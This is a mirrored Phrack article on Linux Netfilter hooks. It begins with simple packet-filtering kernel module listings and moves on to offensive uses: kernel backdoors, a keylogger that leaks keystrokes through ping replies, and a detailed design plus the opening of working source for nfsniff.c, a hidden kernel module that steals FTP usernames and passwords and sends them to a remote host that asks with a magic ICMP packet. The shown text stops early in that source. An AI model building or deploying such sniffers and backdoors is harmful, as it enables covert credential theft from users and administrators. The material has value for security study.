mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
2056 lines
74 KiB
Text
2056 lines
74 KiB
Text
==Phrack Inc.==
|
|
|
|
Volume 0x0b, Issue 0x3d, Phile #0x0d of 0x0f
|
|
|
|
|=------------=[ Hacking the Linux Kernel Network Stack ]=---------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=------------------=[ bioforge <alkerr@yifan.net> ]=--------------------=|
|
|
|
|
Table of Contents
|
|
|
|
1 - Introduction
|
|
1.1 - What this document is
|
|
1.2 - What this document is not
|
|
2 - The various Netfilter hooks and their uses
|
|
2.1 - The Linux kernel's handling of packets
|
|
2.2 - The Netfilter hooks for IPv4
|
|
3 - Registering and unregistering Netfilter hooks
|
|
4 - Packet filtering operations with Netfilter
|
|
4.1 - A closer look at hook functions
|
|
4.2 - Filtering by interface
|
|
4.3 - Filtering by address
|
|
4.4 - Filtering by TCP port
|
|
5 - Other possibilities for Netfilter hooks
|
|
5.1 - Hidden backdoor daemons
|
|
5.2 - Kernel based FTP password sniffer
|
|
5.2.1 - The code... nfsniff.c
|
|
5.2.2 - getpass.c
|
|
6 - Hiding network traffic from Libpcap
|
|
6.1 - SOCK_PACKET, SOCK_RAW and Libpcap
|
|
6.2 - Wrapping the cloak around the dagger
|
|
7 - Conclusion
|
|
A - Light-Weight Fire Wall
|
|
A.1 - Overview
|
|
A.2 - The source... lwfw.c
|
|
A.3 - lwfw.h
|
|
B - Code for section 6
|
|
|
|
|
|
--[ 1 - Introduction
|
|
|
|
This article describes how quirks (not necessarily weaknesses) in the
|
|
Linux network stack can be used for various purposes, nefarious or otherw-
|
|
ise. Presented here will be a discussion on using seemingly legitimate
|
|
Netfilter hooks for backdoor communications and also a technique to hide
|
|
such traffic from a Libpcap based sniffer running on the local machine.
|
|
|
|
Netfilter is a subsystem in the Linux 2.4 kernel. Netfilter makes
|
|
such network tricks as packet filtering, network address translation
|
|
(NAT) and connection tracking possible through the use of various hooks in
|
|
the kernel's network code. These hooks are places that kernel code, either
|
|
statically built or in the form of a loadable module, can register
|
|
functions to be called for specific network events. An example of such an
|
|
event is the reception of a packet.
|
|
|
|
|
|
----[ 1.1 - What this document is
|
|
|
|
This document discusses how a module writer can make use of the Netfilter
|
|
hooks for whatever purposes and also how network traffic can be hidden
|
|
from a Libpcap application. Although Linux 2.4 supports hooks for IPv4,
|
|
IPv6 and DECnet, only IPv4 will be discussed in this document. However,
|
|
most of the IPv4 content can be applied to the other protocols. As an aide
|
|
to teaching, a working kernel module that provides basic packet filtering
|
|
is provided in Appendix A. Any development/experimentation done for this
|
|
document was done on an Intel machine running Linux 2.4.5. Testing the
|
|
behaviour of Netfilter hooks was done using the loopback device, an
|
|
Ethernet device and a modem Point-to-Point interface.
|
|
|
|
This document is also written for my benefit in an attempt to fully
|
|
understand Netfilter. I do not guarantee that any code accompanying this
|
|
document is 100% error free but I have tested all code provided here. I
|
|
have suffered the kernel faults so hopefully you won't have to. Also, I
|
|
do not accept any responsibility for damages that may occur through
|
|
following this document. It is expected that the reader be comfortable with
|
|
the C programming language and have some experience with Loadable Kernel
|
|
Modules.
|
|
|
|
If I have made a mistake in something presented here then please let me
|
|
know. I am also open to suggestions on either improving this document or
|
|
other nifty Netfilter tricks in general.
|
|
|
|
|
|
----[ 1.2 - What this document is not
|
|
|
|
This document is not a complete ins-and-outs reference for Netfilter. It
|
|
is also *not* a reference for the iptables command. If you want to learn
|
|
more about the iptables command, consult the man pages.
|
|
|
|
So let's get started with an introduction to using Netfilter...
|
|
|
|
|
|
--[ 2 - The various Netfilter hooks and their uses
|
|
----[ 2.1 - The Linux kernel's handling of packets
|
|
|
|
As much as I would love to go into the gory details of Linux's handling of
|
|
packets and the events preceeding and following each Netfilter hook, I
|
|
won't. The simple reason is that Harald Welte has already written a nice
|
|
document on the subject, his Journey of a Packet Through the Linux 2.4
|
|
Network Stack document. To learn more on Linux's handling of packets, I
|
|
strongly suggest that you read this document as well. For now, just
|
|
understand that as a packet moves through the Linux kernel's network stack
|
|
it crosses several hook locations where packets can be analysed and kept
|
|
or discarded. These are the Netfilter hooks.
|
|
|
|
|
|
------[ 2.2 The Netfilter hooks for IPv4
|
|
|
|
Netfilter defines five hooks for IPv4. The declaration of the symbols for
|
|
these can be found in linux/netfilter_ipv4.h. These hooks are displayed
|
|
in the table below:
|
|
|
|
Table 1: Available IPv4 hooks
|
|
|
|
Hook Called
|
|
NF_IP_PRE_ROUTING After sanity checks, before routing decisions.
|
|
NF_IP_LOCAL_IN After routing decisions if packet is for this host.
|
|
NF_IP_FORWARD If the packet is destined for another interface.
|
|
NF_IP_LOCAL_OUT For packets coming from local processes on
|
|
their way out.
|
|
NF_IP_POST_ROUTING Just before outbound packets "hit the wire".
|
|
|
|
The NF_IP_PRE_ROUTING hook is called as the first hook after a packet
|
|
has been received. This is the hook that the module presented later will
|
|
utilise. Yes the other hooks are very useful as well, but for now we
|
|
will focus only on NF_IP_PRE_ROUTING.
|
|
|
|
After hook functions have done whatever processing they need to do with
|
|
a packet they must return one of the predefined Netfilter return codes.
|
|
These codes are:
|
|
|
|
Table 2: Netfilter return codes
|
|
Return Code Meaning
|
|
NF_DROP Discard the packet.
|
|
NF_ACCEPT Keep the packet.
|
|
NF_STOLEN Forget about the packet.
|
|
NF_QUEUE Queue packet for userspace.
|
|
NF_REPEAT Call this hook function again.
|
|
|
|
|
|
The NF_DROP return code means that this packet should be dropped
|
|
completely and any resources allocated for it should be released.
|
|
NF_ACCEPT tells Netfilter that so far the packet is still acceptable and
|
|
that it should move to the next stage of the network stack. NF_STOLEN is
|
|
an interesting one because it tells Netfilter to "forget" about the packet.
|
|
What this tells Netfilter is that the hook function will take processing
|
|
of this packet from here and that Netfilter should drop all processing of
|
|
it. This does not mean, however, that resources for the packet are
|
|
released. The packet and it's respective sk_buff structure are still valid,
|
|
it's just that the hook function has taken ownership of the packet away
|
|
from Netfilter. Unfortunately I'm not exactly clear on what NF_QUEUE
|
|
really does so for now I won't discuss it. The last return value,
|
|
NF_REPEAT requests that Netfilter calls the hook function again. Obviously
|
|
one must be careful using NF_REPEAT so as to avoid an endless loop.
|
|
|
|
|
|
--[ 3 - Registering and unregistering Netfilter hooks
|
|
|
|
Registration of a hook function is a very simple process that revolves
|
|
around the nf_hook_ops structure, defined in linux/netfilter.h. The
|
|
definition of this structure is as follows:
|
|
|
|
struct nf_hook_ops {
|
|
struct list_head list;
|
|
|
|
/* User fills in from here down. */
|
|
nf_hookfn *hook;
|
|
int pf;
|
|
int hooknum;
|
|
/* Hooks are ordered in ascending priority. */
|
|
int priority;
|
|
};
|
|
|
|
The list member of this structure is used to maintain the lists of
|
|
Netfilter hooks and has no importance for hook registration as far as users
|
|
are concerned. hook is a pointer to a nf_hookfn function. This is the
|
|
function that will be called for the hook. nf_hookfn is defined in
|
|
linux/netfilter.h as well. The pf field specifies a protocol family. Valid
|
|
protocol families are available from linux/socket.h but for IPv4 we want to
|
|
use PF_INET. The hooknum field specifies the particular hook to install
|
|
this function for and is one of the values listed in table 1. Finally, the
|
|
priority field specifies where in the order of execution this hook function
|
|
should be placed. For IPv4, acceptable values are defined in
|
|
linux/netfilter_ipv4.h in the nf_ip_hook_priorities enumeration. For the
|
|
purposes of demonstration modules we will be using NF_IP_PRI_FIRST.
|
|
|
|
Registration of a Netfilter hook requires using a nf_hook_ops structure
|
|
with the nf_register_hook() function. nf_register_hook() takes the address
|
|
of an nf_hook_ops structure and returns an integer value. However, if you
|
|
actually look at the code for the nf_register_hook() function in
|
|
net/core/netfilter.c, you will notice that it only ever returns a value of
|
|
zero. Provided below is example code that simply registers a function that
|
|
will drop all packets that come in. This code will also show how the
|
|
Netfilter return values are interpreted.
|
|
|
|
Listing 1. Registration of a Netfilter hook
|
|
/* Sample code to install a Netfilter hook function that will
|
|
* drop all incoming packets. */
|
|
|
|
#define __KERNEL__
|
|
#define MODULE
|
|
|
|
#include <linux/module.h>
|
|
#include <linux/kernel.h>
|
|
#include <linux/netfilter.h>
|
|
#include <linux/netfilter_ipv4.h>
|
|
|
|
/* This is the structure we shall use to register our function */
|
|
static struct nf_hook_ops nfho;
|
|
|
|
/* This is the hook function itself */
|
|
unsigned int hook_func(unsigned int hooknum,
|
|
struct sk_buff **skb,
|
|
const struct net_device *in,
|
|
const struct net_device *out,
|
|
int (*okfn)(struct sk_buff *))
|
|
{
|
|
return NF_DROP; /* Drop ALL packets */
|
|
}
|
|
|
|
/* Initialisation routine */
|
|
int init_module()
|
|
{
|
|
/* Fill in our hook structure */
|
|
nfho.hook = hook_func; /* Handler function */
|
|
nfho.hooknum = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
|
|
nfho.pf = PF_INET;
|
|
nfho.priority = NF_IP_PRI_FIRST; /* Make our function first */
|
|
|
|
nf_register_hook(&nfho);
|
|
|
|
return 0;
|
|
}
|
|
|
|
/* Cleanup routine */
|
|
void cleanup_module()
|
|
{
|
|
nf_unregister_hook(&nfho);
|
|
}
|
|
|
|
That's all there is to it. From the code given in listing 1 you can see
|
|
that unregistering a Netfilter hook is a simple matter of calling
|
|
nf_unregister_hook() with the address of the same structure you used to
|
|
register the hook.
|
|
|
|
|
|
--[ 4 - Basic packet filtering techniques with Netfilter
|
|
----[ 4.1 - A closer look at hook functions
|
|
|
|
Now its time to start looking at what data gets passed into hook
|
|
functions and how that data an be used to make filtering decisions. So
|
|
let's look more closely at the prototype for nf_hookfn functions. The
|
|
prototype is given in linux/netfilter.h as follows:
|
|
|
|
typedef unsigned int nf_hookfn(unsigned int hooknum,
|
|
struct sk_buff **skb,
|
|
const struct net_device *in,
|
|
const struct net_device *out,
|
|
int (*okfn)(struct sk_buff *));
|
|
|
|
The first argument to nf_hookfn functions is a value specifying one of
|
|
the hook types given in table 1. The second argument is more interesting.
|
|
It is a pointer to a pointer to a sk_buff structure, the structure used
|
|
by the network stack to describe packets. This structure is defined in
|
|
linux/skbuff.h and due to its size, I shall only highlight some of it's
|
|
more interesting fields here.
|
|
|
|
Possibly the most useful fields out of sk_buff structures are the three
|
|
unions that describe the transport header (ie. UDP, TCP, ICMP, SPX), the
|
|
network header (ie. IPv4/6, IPX, RAW) and the link layer header (Ethernet
|
|
or RAW). The names of these unions are h, nh and mac respectively. These
|
|
unions contain several structures, depending on what protocols are in use
|
|
in a particular packet. One should note that the transport header and
|
|
network header may very well point to the same location in memory. This
|
|
is the case for TCP packets where h and nh are both considered as
|
|
pointers to IP header structures. This means that attempting to get a
|
|
value from h->th thinking it's pointing to the TCP header will result in
|
|
false results because h->th will actually be pointing to the IP header,
|
|
just like nh->iph.
|
|
|
|
Other fields of immediate interest are the len and data fields. len
|
|
specifies the total length of the packet data beginning at data. So now
|
|
we know how to access individual protocol headers and the packet data
|
|
itself from a sk_buff structure. What other interesting bits of
|
|
information are available to Netfilter hook functions?
|
|
|
|
The two arguments that come after skb are pointers to net_device
|
|
structures. net_device structures are what the Linux kernel uses to
|
|
describe network interfaces of all sorts. The first of these structures,
|
|
in, is used to describe the interface the packet arrived on. Not
|
|
surprisingly, the out structure describes the interface the packet is
|
|
leaving on. It is important to realise that usually only one of these
|
|
structures will be provided. For instance, in will only be provided for
|
|
the NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN hooks. out will only be provided
|
|
for the NF_IP_LOCAL_OUT and NF_IP_POST_ROUTING hooks. At this stage I
|
|
haven't tested which of these structures are available for the
|
|
NF_IP_FORWARD hook but if you make sure the pointers are non-NULL before
|
|
attempting to dereference them you should be fine.
|
|
|
|
Finally, the last item passed into a hook function is a function pointer
|
|
called okfn that takes a sk_buff structure as its only argument and
|
|
returns an integer. I'm not too sure on what this function does. Looking
|
|
in net/core/netfilter.c there are two places where this okfn is called.
|
|
These two places are in the functions nf_hook_slow() and nf_reinject()
|
|
where at a certain place this function is called on a return value of
|
|
NF_ACCEPT from a Netfilter hook. If anybody has more information on okfn
|
|
please let me know.
|
|
|
|
Now that we've looked at the most interesting and useful bits of informa-
|
|
tion that our hook functions receive, it's time to look at how we can use
|
|
that information to filter packets in a variety of ways.
|
|
|
|
|
|
----[ 4.2 - Filtering by interface
|
|
|
|
This would have to be the simplest filtering technique we can do.
|
|
Remember those net_device structures our hook function received? Using
|
|
the name field from the relevant net_device structure allows us to drop
|
|
packets depending on their source interface or destination interface. To
|
|
drop all packets that arrive on interface eth0 all one has to do is
|
|
compare the value of in->name with "eth0". If the names match then the
|
|
hook function simply returns NF_DROP and the packet is destroyed. It's as
|
|
easy as that. Sample code to do this is provided in listing 2 below. Note
|
|
that the Light-Weight FireWall module will provide simple examples of
|
|
all the filtering methods presented here. It also includes an IOCTL
|
|
interface and application to change its behaviour dynamically.
|
|
|
|
Listing 2. Filtering packets based on their source interface
|
|
|
|
/* Sample code to install a Netfilter hook function that will
|
|
* drop all incoming packets on an interface we specify */
|
|
#define __KERNEL__
|
|
#define MODULE
|
|
#include <linux/module.h>
|
|
#include <linux/kernel.h>
|
|
#include <linux/netdevice.h>
|
|
#include <linux/netfilter.h>
|
|
#include <linux/netfilter_ipv4.h>
|
|
/* This is the structure we shall use to register our function */
|
|
static struct nf_hook_ops nfho;
|
|
|
|
/* Name of the interface we want to drop packets from */
|
|
static char *drop_if = "lo";
|
|
|
|
/* This is the hook function itself */
|
|
unsigned int hook_func(unsigned int hooknum,
|
|
struct sk_buff **skb,
|
|
const struct net_device *in,
|
|
const struct net_device *out,
|
|
int (*okfn)(struct sk_buff *))
|
|
{
|
|
if (strcmp(in->name, drop_if) == 0) {
|
|
printk("Dropped packet on %s...\n", drop_if);
|
|
return NF_DROP;
|
|
} else {
|
|
return NF_ACCEPT;
|
|
}
|
|
}
|
|
|
|
/* Initialisation routine */
|
|
int init_module()
|
|
{
|
|
/* Fill in our hook structure */
|
|
nfho.hook = hook_func; /* Handler function */
|
|
nfho.hooknum = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
|
|
nfho.pf = PF_INET;
|
|
nfho.priority = NF_IP_PRI_FIRST; /* Make our function first */
|
|
|
|
nf_register_hook(&nfho);
|
|
|
|
return 0;
|
|
}
|
|
|
|
/* Cleanup routine */
|
|
void cleanup_module()
|
|
{
|
|
nf_unregister_hook(&nfho);
|
|
}
|
|
|
|
Now isn't that simple? Next, let's have a look at filtering based on IP
|
|
addresses.
|
|
|
|
|
|
----[ 4.3 - Filtering by address
|
|
|
|
As with filtering packets by their interface, filtering packets by their
|
|
source or destination IP address is very simple. This time we are
|
|
interested in the sk_buff structure. Now remember that the skb argument
|
|
is a pointer to a pointer to a sk_buff structure. To avoid running into
|
|
problems it is good practice to declare a seperate pointer to a sk_buff
|
|
structure and assign the value pointed to by skb to this newly declared
|
|
pointer. Like so:
|
|
|
|
struct sk_buff *sb = *skb; /* Remove 1 level of indirection* /
|
|
|
|
Now you only have to dereference once to access items in the structure.
|
|
Obtaining the IP header for a packet is done using the network layer header
|
|
from the the sk_buff structure. This header is contained in a union and can
|
|
be accessed as sk_buff->nh.iph. The function in listing 3 demonstrates how
|
|
to check the source IP address of a received packet against an address to
|
|
deny when given a sk_buff for the packet. This code has been pulled
|
|
directly from LWFW. The only difference is that the update of LWFW
|
|
statistics has been removed.
|
|
|
|
Listing 3. Checking source IP of a received packet
|
|
|
|
unsigned char *deny_ip = "\x7f\x00\x00\x01"; /* 127.0.0.1 */
|
|
|
|
...
|
|
|
|
static int check_ip_packet(struct sk_buff *skb)
|
|
{
|
|
/* We don't want any NULL pointers in the chain to
|
|
* the IP header. */
|
|
if (!skb )return NF_ACCEPT;
|
|
if (!(skb->nh.iph)) return NF_ACCEPT;
|
|
|
|
if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {
|
|
return NF_DROP;
|
|
}
|
|
|
|
return NF_ACCEPT;
|
|
}
|
|
|
|
Now if the source address matches the address we want to drop packets from
|
|
then the packet is dropped. For this function to work as presented the
|
|
value of deny_ip should be stored in Network Byte Order (Big-endian,
|
|
opposite of Intel). Although it's unlikely that this function will be
|
|
called with a NULL pointer for it's argument, it never hurts to be a
|
|
little paranoid. Of course if an error does occur then the function will
|
|
return NF_ACCEPT so that Netfilter can continue processing the packet.
|
|
Listing 4 presents the simple module used to demonstrate interface based
|
|
filtering changed so that it drops packets that match a particular IP
|
|
address.
|
|
|
|
Listing 4. Filtering packets based on their source address
|
|
/* Sample code to install a Netfilter hook function that will
|
|
* drop all incoming packets from an IP address we specify */
|
|
|
|
#define __KERNEL__
|
|
#define MODULE
|
|
|
|
#include <linux/module.h>
|
|
#include <linux/kernel.h>
|
|
#include <linux/skbuff.h>
|
|
#include <linux/ip.h> /* For IP header */
|
|
#include <linux/netfilter.h>
|
|
#include <linux/netfilter_ipv4.h>
|
|
|
|
/* This is the structure we shall use to register our function */
|
|
static struct nf_hook_ops nfho;
|
|
|
|
/* IP address we want to drop packets from, in NB order */
|
|
static unsigned char *drop_ip = "\x7f\x00\x00\x01";
|
|
|
|
/* This is the hook function itself */
|
|
unsigned int hook_func(unsigned int hooknum,
|
|
struct sk_buff **skb,
|
|
const struct net_device *in,
|
|
const struct net_device *out,
|
|
int (*okfn)(struct sk_buff *))
|
|
{
|
|
struct sk_buff *sb = *skb;
|
|
|
|
if (sb->nh.iph->saddr == drop_ip) {
|
|
printk("Dropped packet from... %d.%d.%d.%d\n",
|
|
*drop_ip, *(drop_ip + 1),
|
|
*(drop_ip + 2), *(drop_ip + 3));
|
|
return NF_DROP;
|
|
} else {
|
|
return NF_ACCEPT;
|
|
}
|
|
}
|
|
|
|
/* Initialisation routine */
|
|
int init_module()
|
|
{
|
|
/* Fill in our hook structure */
|
|
nfho.hook = hook_func;
|
|
/* Handler function */
|
|
nfho.hooknum = NF_IP_PRE_ROUTING; /* First for IPv4 */
|
|
nfho.pf = PF_INET;
|
|
nfho.priority = NF_IP_PRI_FIRST; /* Make our func first */
|
|
|
|
nf_register_hook(&nfho);
|
|
|
|
return 0;
|
|
}
|
|
|
|
/* Cleanup routine */
|
|
void cleanup_module()
|
|
{
|
|
nf_unregister_hook(&nfho);
|
|
}
|
|
|
|
|
|
----[ 4.4 - Filtering by TCP port
|
|
|
|
Another simple rule to implement is the filtering of packets based on
|
|
their TCP destination port. This is only a bit more fiddly than checking
|
|
IP addresses because we need to create a pointer to the TCP header
|
|
ourselves. Remember what was discussed earlier about transport headers
|
|
and network headers? Getting a pointer to the TCP header is a simple
|
|
matter of allocating a pointer to a struct tcphdr (define in linux/tcp.h)
|
|
and pointing after the IP header in our packet data. Perhaps an example
|
|
would help. Listing 5 presents code to check if the destination TCP port
|
|
of a packet matches some port we want to drop all packets for. As with
|
|
listing 3, this was taken from LWFW.
|
|
|
|
Listing 5. Checking the TCP destination port of a received packet
|
|
unsigned char *deny_port = "\x00\x19"; /* port 25 */
|
|
|
|
...
|
|
|
|
static int check_tcp_packet(struct sk_buff *skb)
|
|
{
|
|
struct tcphdr *thead;
|
|
|
|
/* We don't want any NULL pointers in the chain
|
|
* to the IP header. */
|
|
if (!skb ) return NF_ACCEPT;
|
|
if (!(skb->nh.iph)) return NF_ACCEPT;
|
|
|
|
/* Be sure this is a TCP packet first */
|
|
if (skb->nh.iph->protocol != IPPROTO_TCP) {
|
|
return NF_ACCEPT;
|
|
}
|
|
|
|
thead = (struct tcphdr *)(skb->data +
|
|
(skb->nh.iph->ihl * 4));
|
|
|
|
/* Now check the destination port */
|
|
if ((thead->dest) == *(unsigned short *)deny_port) {
|
|
return NF_DROP;
|
|
}
|
|
|
|
return NF_ACCEPT;
|
|
}
|
|
|
|
Very simple indeed. Don't forget that for this function to work deny_port
|
|
should be in network byte order. That's it for packet filtering basics,
|
|
you should have a fair understanding of how to get to the information you
|
|
want for a specific packet. Now it's time to move onto more interesting
|
|
stuff.
|
|
|
|
|
|
--[ 5 - Other possibilities for Netfilter hooks
|
|
|
|
Here I'll make some proposals for other cool stuff to do with Netfilter
|
|
hooks. Section 5.1 will simply provide food for thought, while section 5.2
|
|
shall discuss and provide working code for a kernel based FTP password
|
|
sniffer with remote password retrieval that really does work. It fact it
|
|
works so well it scares me, and I wrote it.
|
|
|
|
----[ 5.1 - Hidden backdoor daemons
|
|
|
|
Kernel module programming would have to be one of the most interesting
|
|
areas of development for Linux. Writing code in the kernel means you are
|
|
writing code in a place where you are limited only by your imagination.
|
|
From a malicous point of view you can hide files, processes, and do all
|
|
sorts of cool things that any rootkit worth its salt is capable of. Then
|
|
from a not-so-malicious point of view (yes people with this point of view
|
|
do exist) you can hide files, processes and do all sorts of cool things.
|
|
The kernel really is a fascinating place.
|
|
|
|
Now with all the power made available to a kernel level programmer, there
|
|
are a lot of possibilities. Possibly one of the most interesting (and
|
|
scary for system administrators) is the possibility of backdoors built
|
|
right into the kernel. Afterall, if a backdoor doesn't run as a process
|
|
then how do you know it's running? Of course there are ways of making your
|
|
kernel cough-up such backdoors, but they are by no means as easy and
|
|
simple as running ps. Now the idea of putting backdoor code into a kernel
|
|
is not new. What I'm proposing here, however, is placing simple network
|
|
services as kernel backdoors using, you guessed it, Netfilter hooks.
|
|
|
|
If you have the necessary skills and willingness to crash your kernel in
|
|
the name of experimentation, then you can construct simple but useful
|
|
network services located entirely in the kernel and accessible remotely.
|
|
Basically a Netfilter hook could watch incoming packets for a "magic"
|
|
packet and when that magic packet is received, do something special.
|
|
Results can then be sent from the Netfilter hook and the hook function can
|
|
return NF_STOLEN so that the received "magic" packet goes no further. Note
|
|
however, that when sending in such a fassion, outgoing packets will still
|
|
be visible on the outbound Netfilter hooks. Therefore userspace is totally
|
|
unaware that the magic packet ever arrived, but they can still see
|
|
whatever you send out. Beware! Just because a sniffer on a compromised host
|
|
can't see the packet, doesn't mean that a sniffer on an intermediate host
|
|
can't see the packet.
|
|
|
|
kossak and lifeline wrote an excellent article for Phrack describing how
|
|
such things could be done by registering packet type handlers. Although
|
|
this document deals with Netfilter hooks I still suggest reading their
|
|
article (Issue 55, file 12) as it is a very interesting read with some
|
|
very interesting ideas being presented.
|
|
|
|
So what kind of work could a backdoor Netfilter hook do? Well, here are
|
|
some suggestions:
|
|
-- Remote access key-logger. Module logs keystrokes and results are
|
|
sent to a remote host when that host sends a PING request. So a
|
|
stream of keystroke information could be made to look like a steady
|
|
(don't flood) stream of PING replies. Of course one would want to
|
|
implement a simple encryption so that ASCII keys don't show
|
|
themselves immediately and some alert system administrator goes
|
|
"Hang on. I typed that over my SSH session before! Oh $%@T%&!".
|
|
-- Various simple administration tasks such as getting lists of who is
|
|
currently logged onto the machine or obtaining information about
|
|
open network connections.
|
|
-- Not really a backdoor as such, but a module that sits on a network
|
|
perimeter and blocks any traffic suspected to come from trojans,
|
|
ICMP covert channels or file sharing tools like KaZaa.
|
|
-- File transfer "server". I have implemented this idea recently. The
|
|
resulting LKM is hours of fun :).
|
|
-- Packet bouncer. Redirects packets aimed at a special port on the
|
|
backdoored host to another IP host and port and sends packets from
|
|
that host back to the initiator. No process being spawned and best of
|
|
all, no network socket being opened.
|
|
-- Packet bouncer as described above used to communicate with critical
|
|
systems on a network in a semi-covert manner. Eg. configuring routers
|
|
and such.
|
|
-- FTP/POP3/Telnet password sniffer. Sniff outgoing passwords and save
|
|
the information until a magic packet comes in asking for it.
|
|
|
|
Well that's a short list of ideas. The last one will actually be discussed
|
|
in more detail in the next section as it provides a nice oppurtunity to look
|
|
at some more functions internal to the kernel's network code.
|
|
|
|
----[ 5.2 - Kernel based FTP password sniffer
|
|
|
|
Presented here is a simple proof-of-concept module that acts as a Netfilter
|
|
backdoor. This module will sniff outgoing FTP packets looking for a USER
|
|
and PASS command pair for an FTP server. When a pair is found the module
|
|
will then wait for a "magic" ICMP ECHO (Ping) packet big enough to return
|
|
the server's IP address and the username and password. Also provided is a
|
|
quick hack that sends a magic packet, gets a reply then prints the returned
|
|
information. Once a username/password pair has been read from the module it
|
|
will then look for the next pair. Note that only one pair will be stored by
|
|
the module at one time. Now that a brief overview has been provided, it's
|
|
time to present a more detailed look at how the module does its thing.
|
|
|
|
When loaded, the module's init_module() function simply registers two
|
|
Netfilter hooks. The first one is used to watch incoming traffic (on
|
|
NF_IP_PRE_ROUTING) in an attempt to find a "magic" ICMP packet. The next
|
|
one is used to watch traffic leaving the machine (on NF_IP_POST_ROUTING)
|
|
the module is installed on. This is where the search and capture of FTP
|
|
USER and PASS packets happens. The cleanup_module() procedure simply
|
|
unregisters these two hooks.
|
|
|
|
watch_out() is the function used to hook NF_IP_POST_ROUTING. Looking at
|
|
this function you can see that it is very simple in operation. When a
|
|
packet enters the function it is run through various checks to be sure it's
|
|
an FTP packet. If it's not then a value of NF_ACCEPT is returned
|
|
immediately. If it is an FTP packet then the module checks to be sure that
|
|
it doesn't already have a username and password pair already queued. If it
|
|
does (as signalled by have_pair being non-zero) then NF_ACCEPT is returned
|
|
and the packet can finally leave the system. Otherwise, the check_ftp()
|
|
procedure is called. This is where extraction of passwords actually takes
|
|
place. If no previous packets have been received then the target_ip and
|
|
target_port variables should be cleared.
|
|
|
|
check_ftp() starts by looking for either "USER", "PASS" or "QUIT" at the
|
|
beginning of the packet. Note that PASS commands will not be processed
|
|
until a USER command has been processed. This prevents deadlock that occurs
|
|
if for some reason a PASS command is received first and the connection
|
|
breaks before USER arrives. Also, if a QUIT command arrives and only a
|
|
username has been captured then things are reset so sniffing can start over
|
|
on a new connection. When a USER or PASS command arrives, if the necessary
|
|
sanity checks are passed then the argument to the command is copied. Just
|
|
before check_ftp() finishes under normal operations, it checks to see if it
|
|
now has a valid username and password string. If it does then have_pair is
|
|
set and no more usernames or passwords will be grabbed until the current
|
|
pair is retrieved.
|
|
|
|
So far you have seen how this module installs itself and begins looking for
|
|
usernames and passwords to log. Now you shall see what happens when the
|
|
specially formatted "magic" packet arrives. Pay particular attention here
|
|
because this is where the most problems arose during development. 16 kernel
|
|
faults if I remember correctly :). When packets come into the machine with
|
|
this module installed, watch_in() checks each one to see if it is a magic
|
|
packet. If it does not pass the necessary requirements to be considered
|
|
magic, then the packet is ignored by watch_in() who simply returns
|
|
NF_ACCEPT. Notice how one of the criteria for magic packets is that they
|
|
have enough room to hold the IP address and username and password strings.
|
|
This is done to make sending the reply easier. A fresh sk_buff could have
|
|
been allocated, but getting all of the necessary fields right can be
|
|
difficult and you have to get them right! So instead of creating a new
|
|
structure for our reply packet, we simply tweak the request packet's
|
|
structure. To return the packet successfully, several changes need to be
|
|
made. Firstly, the IP addresses are swapped around and the packet type
|
|
field of the sk_buff structure (pkt_type) is changed to PACKET_OUTGOING
|
|
which is defined in linux/if_packet.h. The next thing to take care of is
|
|
making sure any link layer headers are included. The data field of our
|
|
received packet's sk_buff points after the link layer header and it is the
|
|
data field that points to the beginning of packet data to be transmitted.
|
|
So for interfaces that require the link layer header (Ethernet and Loopback
|
|
Point-to-Point is raw) we point the data field to the mac.ethernet or
|
|
mac.raw structures. To determine what type of interface this packet came in
|
|
on, you can check the value of sb->dev->type where sb is a pointer to a
|
|
sk_buff structure. Valid values for this field can be found in
|
|
linux/if_arp.h but the most useful are given below in table 3.
|
|
|
|
Table 3: Common values for interface types
|
|
|
|
Type Code Interface Type
|
|
ARPHRD_ETHER Ethernet
|
|
ARPHRD_LOOPBACK Loopback device
|
|
ARPHRD_PPP Point-to-point (eg. dialup)
|
|
|
|
The last thing to be done is actually copy the data we want to send in our
|
|
reply. It's now time to send the packet. The dev_queue_xmit() function
|
|
takes a pointer to a sk_buff structure as it's only argument and returns a
|
|
negative errno code on a nice failure. What do I mean by nice failure?
|
|
Well, if you give dev_queue_xmit() a badly constructed socket buffer then
|
|
you will get a not-so-nice failure. One that comes complete with kernel
|
|
fault and kernel stack dump information. See how failures can be splt into
|
|
two groups here? Finally, watch_in() returns NF_STOLEN to tell Netfilter
|
|
to forget it ever saw the packet (bit of a Jedi Mind Trick). Do NOT return
|
|
NF_DROP if you have called dev_queue_xmit()! If you do then you will
|
|
quickly get a nasty kernel fault. This is because dev_queue_xmit() will
|
|
free the passed in socket buffer and Netfilter will attempt to do the same
|
|
with an NF_DROPped packet. Well that's enough discussion on the code, it's
|
|
now time to actually see the code.
|
|
|
|
|
|
------[ 5.2.1 - The code... nfsniff.c
|
|
|
|
<++> nfsniff/nfsniff.c
|
|
/* Simple proof-of-concept for kernel-based FTP password sniffer.
|
|
* A captured Username and Password pair are sent to a remote host
|
|
* when that host sends a specially formatted ICMP packet. Here we
|
|
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
|
|
* *AND* the packet has enough
|
|
* space after the headers to fit a 4-byte IP address and the
|
|
* username and password fields which are a max. of 15 characters
|
|
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */
|
|
|
|
/* Written by bioforge, March 2003 */
|
|
|
|
#define MODULE
|
|
#define __KERNEL__
|
|
|
|
#include <linux/module.h>
|
|
#include <linux/kernel.h>
|
|
#include <linux/skbuff.h>
|
|
#include <linux/in.h>
|
|
#include <linux/ip.h>
|
|
#include <linux/tcp.h>
|
|
#include <linux/icmp.h>
|
|
#include <linux/netdevice.h>
|
|
#include <linux/netfilter.h>
|
|
#include <linux/netfilter_ipv4.h>
|
|
#include <linux/if_arp.h>
|
|
#include <linux/if_ether.h>
|
|
#include <linux/if_packet.h>
|
|
|
|
#define MAGIC_CODE 0x5B
|
|
#define REPLY_SIZE 36
|
|
|
|
#define ICMP_PAYLOAD_SIZE (htons(sb->nh.iph->tot_len) \
|
|
- sizeof(struct iphdr) \
|
|
- sizeof(struct icmphdr))
|
|
|
|
/* THESE values are used to keep the USERname and PASSword until
|
|
* they are queried. Only one USER/PASS pair will be held at one
|
|
* time and will be cleared once queried. */
|
|
static char *username = NULL;
|
|
static char *password = NULL;
|
|
static int have_pair = 0; /* Marks if we already have a pair */
|
|
|
|
